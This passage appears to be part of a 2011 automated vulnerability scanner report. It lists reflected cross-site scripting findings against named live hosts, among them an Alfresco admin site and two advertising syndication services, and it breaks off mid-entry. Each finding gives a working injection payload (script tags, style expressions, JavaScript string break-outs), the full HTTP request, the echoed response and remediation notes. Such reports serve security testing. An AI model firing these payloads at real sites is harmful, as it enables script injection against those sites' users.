GET /alfresco/d/d/workspace/SpacesStored66f5'style%3d'x%3aexpression(alert(1))'245274776c4/e91137de-5ec9-482e-a154-b55e1f592129/st%20barts%20thumb.jpg?guest=true HTTP/1.1 Host: admin.paradizo.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://paradizo.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html><head><title>Alfresco Web Client - System Error</title> <link rel="sear ...[SNIP]... <a href='/alfresco/d/d/workspace/SpacesStored66f5'style='x:expression(alert(1))'245274776c4/e91137de-5ec9-482e-a154-b55e1f592129/st%20barts%20thumb.jpg'> ...[SNIP]...
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 6447f'style%3d'x%3aexpression(alert(1))'292ae7cce94 was submitted in the REST URL parameter 6. This input was echoed as 6447f'style='x:expression(alert(1))'292ae7cce94 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /alfresco/d/d/workspace/SpacesStore/e91137de-5ec9-482e-a154-b55e1f5921296447f'style%3d'x%3aexpression(alert(1))'292ae7cce94/st%20barts%20thumb.jpg?guest=true HTTP/1.1 Host: admin.paradizo.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://paradizo.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html><head><title>Alfresco Web Client - System Error</title> <link rel="sear ...[SNIP]... <a href='/alfresco/d/d/workspace/SpacesStore/e91137de-5ec9-482e-a154-b55e1f5921296447f'style='x:expression(alert(1))'292ae7cce94/st%20barts%20thumb.jpg'> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 6ed18'style%3d'x%3aexpression(alert(1))'75b03c5340a was submitted in the REST URL parameter 4. This input was echoed as 6ed18'style='x:expression(alert(1))'75b03c5340a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /alfresco/d/d/workspace6ed18'style%3d'x%3aexpression(alert(1))'75b03c5340a/SpacesStore/f18b5f55-1064-468b-8763-fa81ebb0d9db/valais-thumb.jpg?guest=true HTTP/1.1 Host: admin.paradizo.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://paradizo.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html><head><title>Alfresco Web Client - System Error</title> <link rel="sear ...[SNIP]... <a href='/alfresco/d/d/workspace6ed18'style='x:expression(alert(1))'75b03c5340a/SpacesStore/f18b5f55-1064-468b-8763-fa81ebb0d9db/valais-thumb.jpg'> ...[SNIP]...
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 200fd'style%3d'x%3aexpression(alert(1))'b5fbc9553d9 was submitted in the REST URL parameter 5. This input was echoed as 200fd'style='x:expression(alert(1))'b5fbc9553d9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /alfresco/d/d/workspace/SpacesStore200fd'style%3d'x%3aexpression(alert(1))'b5fbc9553d9/f18b5f55-1064-468b-8763-fa81ebb0d9db/valais-thumb.jpg?guest=true HTTP/1.1 Host: admin.paradizo.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://paradizo.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html><head><title>Alfresco Web Client - System Error</title> <link rel="sear ...[SNIP]... <a href='/alfresco/d/d/workspace/SpacesStore200fd'style='x:expression(alert(1))'b5fbc9553d9/f18b5f55-1064-468b-8763-fa81ebb0d9db/valais-thumb.jpg'> ...[SNIP]...
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 2b94d'style%3d'x%3aexpression(alert(1))'a492a5a48d was submitted in the REST URL parameter 6. This input was echoed as 2b94d'style='x:expression(alert(1))'a492a5a48d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /alfresco/d/d/workspace/SpacesStore/f18b5f55-1064-468b-8763-fa81ebb0d9db2b94d'style%3d'x%3aexpression(alert(1))'a492a5a48d/valais-thumb.jpg?guest=true HTTP/1.1 Host: admin.paradizo.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://paradizo.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html><head><title>Alfresco Web Client - System Error</title> <link rel="sear ...[SNIP]... <a href='/alfresco/d/d/workspace/SpacesStore/f18b5f55-1064-468b-8763-fa81ebb0d9db2b94d'style='x:expression(alert(1))'a492a5a48d/valais-thumb.jpg'> ...[SNIP]...
The value of the jscallback request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 6542e%3balert(1)//ed29044e6d9 was submitted in the jscallback parameter. This input was echoed as 6542e;alert(1)//ed29044e6d9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
2.34. http://allgetaways.us.intellitxt.com/intellitxt/front.asp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://allgetaways.us.intellitxt.com
Path:
/intellitxt/front.asp
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 16ad2'-alert(1)-'1fd3983422a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC" Set-Cookie: VM_USR=""; Domain=.intellitxt.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Cache-Control: private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC" Access-Control-Allow-Origin: * Content-Type: application/x-javascript;charset=iso-8859-1 Vary: Accept-Encoding Content-Length: 11240 Date: Fri, 30 Sep 2011 13:11:42 GMT Age: 0 Connection: keep-alive
The value of the jscallback request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload c56a3%3balert(1)//1ebdcfc32fb was submitted in the jscallback parameter. This input was echoed as c56a3;alert(1)//1ebdcfc32fb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Cache-Control: private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC" Access-Control-Allow-Origin: * Content-Type: application/x-javascript;charset=iso-8859-1 Vary: Accept-Encoding Content-Length: 6300 Date: Fri, 30 Sep 2011 13:13:17 GMT Age: 0 Connection: keep-alive
var undefined;if(null==$iTXT.glob.dbParams||undefined==$iTXT.glob.dbParams){$iTXT.glob.dbParams=new $iTXT.data.Param(undefined,undefined,undefined,'DATABASE');}$iTXT.glob.dbParams.set({"searchengine.h ...[SNIP]... et('initskip',0);$iTXT.data.Context.params.set('minimagew',180);$iTXT.data.Context.params.set('minimageh',200);$iTXT.data.Context.params.set('intattrs','alt,title,href,src,name');try{$iTXT.js.callback0c56a3;alert(1)//1ebdcfc32fb({"requiresContextualization":0,"requiresAdverts":1});}catch(e){}
2.36. http://allgetaways.us.intellitxt.com/v4/init [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://allgetaways.us.intellitxt.com
Path:
/v4/init
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload de85a"-alert(1)-"de26da41502 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Cache-Control: private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC" Access-Control-Allow-Origin: * Content-Type: application/x-javascript;charset=iso-8859-1 Vary: Accept-Encoding Content-Length: 6281 Date: Fri, 30 Sep 2011 13:13:30 GMT Age: 0 Connection: keep-alive
var undefined;if(null==$iTXT.glob.dbParams||undefined==$iTXT.glob.dbParams){$iTXT.glob.dbParams=new $iTXT.data.Param(undefined,undefined,undefined,'DATABASE');}$iTXT.glob.dbParams.set({"searchengine.h ...[SNIP]... ":"5371","fv":"10","ts":"1317388272762","dma":0,"POSTCODE":"","user-agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1","REGIONNAME":"","de85a"-alert(1)-"de26da41502":"1","muid":"","city":"","ipid":6384,"jscallback":"$iTXT.js.callback0","reg":"--","refurl":"http://www.allgetaways.com/","rcc":"--","cc":"us"},null,60);var undefined;if(null==$iTXT.glob.params||undefi ...[SNIP]...
The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload d719d<script>alert(1)</script>abf05b2ddc9 was submitted in the callback parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the api_key request parameter is copied into the HTML document as plain text between tags. The payload 22e77<script>alert(1)</script>4ec3b6033fc was submitted in the api_key parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 3e44f<script>alert(1)</script>4e84c1b4cce was submitted in the callback parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the c1 request parameter is copied into the HTML document as plain text between tags. The payload 1da37<script>alert(1)</script>ca288e58596 was submitted in the c1 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the c10 request parameter is copied into the HTML document as plain text between tags. The payload 4613c<script>alert(1)</script>28f6bfdb32b was submitted in the c10 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the c15 request parameter is copied into the HTML document as plain text between tags. The payload dead0<script>alert(1)</script>2fd33f4ff81 was submitted in the c15 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the c2 request parameter is copied into the HTML document as plain text between tags. The payload 446ce<script>alert(1)</script>146adaee14e was submitted in the c2 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the c3 request parameter is copied into the HTML document as plain text between tags. The payload dac90<script>alert(1)</script>38cb4eb12b was submitted in the c3 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the c4 request parameter is copied into the HTML document as plain text between tags. The payload f4f8e<script>alert(1)</script>7cc7f69e67 was submitted in the c4 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the c5 request parameter is copied into the HTML document as plain text between tags. The payload 86c87<script>alert(1)</script>84d7d7102c0 was submitted in the c5 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the c6 request parameter is copied into the HTML document as plain text between tags. The payload 6d792<script>alert(1)</script>296ad39f3a8 was submitted in the c6 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the audience request parameter is copied into the HTML document as plain text between tags. The payload 9da3a<script>alert(1)</script>b9a7d279ab2 was submitted in the audience parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /CSP?csp_request_type=validate&legacy=true&spanId=40074055&t=campaign&audience=Consumer9da3a<script>alert(1)</script>b9a7d279ab2&banner=Button_180x90_Image&category=63&i=1&parentUrl=http%3A//www.cybertronpc.com/ HTTP/1.1 Host: c634454825056194218-pmicrosoft-l1-i1.contentcastsyndication.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://www.cybertronpc.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Pragma: no-cache Content-Type: application/javascript; charset=utf-8 Server: Microsoft-IIS/7.5 p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Content-Length: 1100 Cache-Control: no-cache Expires: Fri, 30 Sep 2011 13:28:58 GMT Date: Fri, 30 Sep 2011 13:28:58 GMT Connection: close
The value of the banner request parameter is copied into the HTML document as plain text between tags. The payload 334bf<script>alert(1)</script>b8d16b2588f was submitted in the banner parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /CSP?csp_request_type=validate&legacy=true&spanId=40074055&t=campaign&audience=Consumer&banner=Button_180x90_Image334bf<script>alert(1)</script>b8d16b2588f&category=63&i=1&parentUrl=http%3A//www.cybertronpc.com/ HTTP/1.1 Host: c634454825056194218-pmicrosoft-l1-i1.contentcastsyndication.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://www.cybertronpc.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Pragma: no-cache Content-Type: application/javascript; charset=utf-8 Server: Microsoft-IIS/7.5 p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Content-Length: 1104 Cache-Control: no-cache Expires: Fri, 30 Sep 2011 13:28:59 GMT Date: Fri, 30 Sep 2011 13:28:59 GMT Connection: close
if (typeof(CSP_GLOBAL) != "undefined"){ (function($$) { try { var scriptname = "CSP?csp_request_type=validate&legacy=true&spanId=40074055&t=campaign&audience=Consumer&banner ...[SNIP]... aign",project:"microsoft",show:"true",url:"c634454825056194218-pmicrosoft-l1-i1.contentcastsyndication.com/d1.aspx?p6(ct1&cd63i99&fCampaigns_Local_Audience~1=Consumer!)[]&i=1&banner=Button_180x90_Image334bf<script>alert(1)</script>b8d16b2588f",ElementType:"campaign",ElementAction:"lightbox",extra:"{width: '750', height: '600'}",audience:"Consumer",category:"63",banner:"Button_180x90_Image334bf<script> ...[SNIP]...
The value of the category request parameter is copied into the HTML document as plain text between tags. The payload ffb19<script>alert(1)</script>05c54c4f024 was submitted in the category parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /CSP?csp_request_type=validate&legacy=true&spanId=40074055&t=campaign&audience=Consumer&banner=Button_180x90_Image&category=63ffb19<script>alert(1)</script>05c54c4f024&i=1&parentUrl=http%3A//www.cybertronpc.com/ HTTP/1.1 Host: c634454825056194218-pmicrosoft-l1-i1.contentcastsyndication.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://www.cybertronpc.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Pragma: no-cache Content-Type: application/javascript; charset=utf-8 Server: Microsoft-IIS/7.5 p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Content-Length: 1104 Cache-Control: no-cache Expires: Fri, 30 Sep 2011 13:28:59 GMT Date: Fri, 30 Sep 2011 13:28:59 GMT Connection: close
The value of the i request parameter is copied into the HTML document as plain text between tags. The payload 214a7<script>alert(1)</script>5550167482e was submitted in the i parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /CSP?csp_request_type=validate&legacy=true&spanId=40074055&t=campaign&audience=Consumer&banner=Button_180x90_Image&category=63&i=1214a7<script>alert(1)</script>5550167482e&parentUrl=http%3A//www.cybertronpc.com/ HTTP/1.1 Host: c634454825056194218-pmicrosoft-l1-i1.contentcastsyndication.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://www.cybertronpc.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Pragma: no-cache Content-Type: application/javascript; charset=utf-8 Server: Microsoft-IIS/7.5 p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Content-Length: 1063 Cache-Control: no-cache Expires: Fri, 30 Sep 2011 13:28:59 GMT Date: Fri, 30 Sep 2011 13:28:59 GMT Connection: close
if (typeof(CSP_GLOBAL) != "undefined"){ (function($$) { try { var scriptname = "CSP?csp_request_type=validate&legacy=true&spanId=40074055&t=campaign&audience=Consumer&banner ...[SNIP]... bj = {SyndicationType:"campaign",project:"microsoft",show:"true",url:"c634454825056194218-pmicrosoft-l1-i1.contentcastsyndication.com/d1.aspx?p6(ct1&cd63i99&fCampaigns_Local_Audience~1=Consumer!)[]&i=1214a7<script>alert(1)</script>5550167482e&banner=Button_180x90_Image",ElementType:"campaign",ElementAction:"lightbox",extra:"{width: '750', height: '600'}",audience:"Consumer",category:"63",banner:"Button_180x90_Image",domain:"c63445482505619 ...[SNIP]...
The value of the t request parameter is copied into the HTML document as plain text between tags. The payload 9b36d<script>alert(1)</script>7275d5548c2 was submitted in the t parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /CSP?csp_request_type=validate&legacy=true&spanId=40074055&t=campaign9b36d<script>alert(1)</script>7275d5548c2&audience=Consumer&banner=Button_180x90_Image&category=63&i=1&parentUrl=http%3A//www.cybertronpc.com/ HTTP/1.1 Host: c634454825056194218-pmicrosoft-l1-i1.contentcastsyndication.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://www.cybertronpc.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Pragma: no-cache Content-Type: application/javascript; charset=utf-8 Server: Microsoft-IIS/7.5 p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Content-Length: 677 Cache-Control: no-cache Expires: Fri, 30 Sep 2011 13:28:58 GMT Date: Fri, 30 Sep 2011 13:28:58 GMT Connection: close
The value of the banner request parameter is copied into the HTML document as plain text between tags. The payload 35015<script>alert(1)</script>f8604bba072 was submitted in the banner parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /d1.aspx?p6(ct1&cd63i99&fCampaigns_Local_Audience~1=Consumer!)[]&i=1&banner=Button_180x90_Image35015<script>alert(1)</script>f8604bba072 HTTP/1.1 Host: c634454825056194218-pmicrosoft-l1-i1.contentcastsyndication.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://www.cybertronpc.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Pragma: no-cache Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Vary: Accept-Encoding Content-Length: 1857 Cache-Control: no-cache Expires: Fri, 30 Sep 2011 13:28:59 GMT Date: Fri, 30 Sep 2011 13:28:59 GMT Connection: close
The value of the i request parameter is copied into the HTML document as plain text between tags. The payload 63577<script>alert(1)</script>8fd1ae0075a was submitted in the i parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /d1.aspx?p6(ct1&cd63i99&fCampaigns_Local_Audience~1=Consumer!)[]&i=163577<script>alert(1)</script>8fd1ae0075a&banner=Button_180x90_Image HTTP/1.1 Host: c634454825056194218-pmicrosoft-l1-i1.contentcastsyndication.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://www.cybertronpc.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Pragma: no-cache Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Vary: Accept-Encoding Content-Length: 2098 Cache-Control: no-cache Expires: Fri, 30 Sep 2011 13:28:58 GMT Date: Fri, 30 Sep 2011 13:28:58 GMT Connection: close
(function(collection, instance) { var c = new CspCampaign("Micr_Genuine_Res_Cus_ConBus", "https://12.contentcastsyndication.com/FTP/Campaign/Microsoft/Micr_Genuine_Res_ConBus/en/Banners/ ...[SNIP]...
2.55. http://c634454825056194218-pmicrosoft-l1-i1.contentcastsyndication.com/d1.aspx [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload c623b<script>alert(1)</script>dc62085e88c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /d1.aspx?p6(ct1&cd63i99&fCampaigns_Local_Audience~1=Consumer!)[]&i=1&banner=Button_180x90_Image&c623b<script>alert(1)</script>dc62085e88c=1 HTTP/1.1 Host: c634454825056194218-pmicrosoft-l1-i1.contentcastsyndication.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://www.cybertronpc.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Pragma: no-cache Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Vary: Accept-Encoding Content-Length: 1978 Cache-Control: no-cache Expires: Fri, 30 Sep 2011 13:28:59 GMT Date: Fri, 30 Sep 2011 13:28:59 GMT Connection: close
The value of the p6(ct1&cd63i99&fCampaigns_Local_Audience~1 request parameter is copied into the HTML document as plain text between tags. The payload bf147<script>alert(1)</script>093312afc6a was submitted in the p6(ct1&cd63i99&fCampaigns_Local_Audience~1 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /d1.aspx?p6(ct1&cd63i99&fCampaigns_Local_Audience~1=Consumer!)[]bf147<script>alert(1)</script>093312afc6a&i=1&banner=Button_180x90_Image HTTP/1.1 Host: c634454825056194218-pmicrosoft-l1-i1.contentcastsyndication.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://www.cybertronpc.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Pragma: no-cache Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Vary: Accept-Encoding Content-Length: 1975 Cache-Control: no-cache Expires: Fri, 30 Sep 2011 13:28:57 GMT Date: Fri, 30 Sep 2011 13:28:57 GMT Connection: close
The value of the audience request parameter is copied into the HTML document as plain text between tags. The payload 358ef<script>alert(1)</script>946f68d55f9 was submitted in the audience parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /CSP?csp_request_type=validate&legacy=true&spanId=97654293&t=campaign&audience=Business358ef<script>alert(1)</script>946f68d55f9&banner=Button_180x90_Image&category=60&i=2&parentUrl=http%3A//www.cybertronpc.com/ HTTP/1.1 Host: c634454825056194218-pmicrosoft-l1-i2.contentcastsyndication.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://www.cybertronpc.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
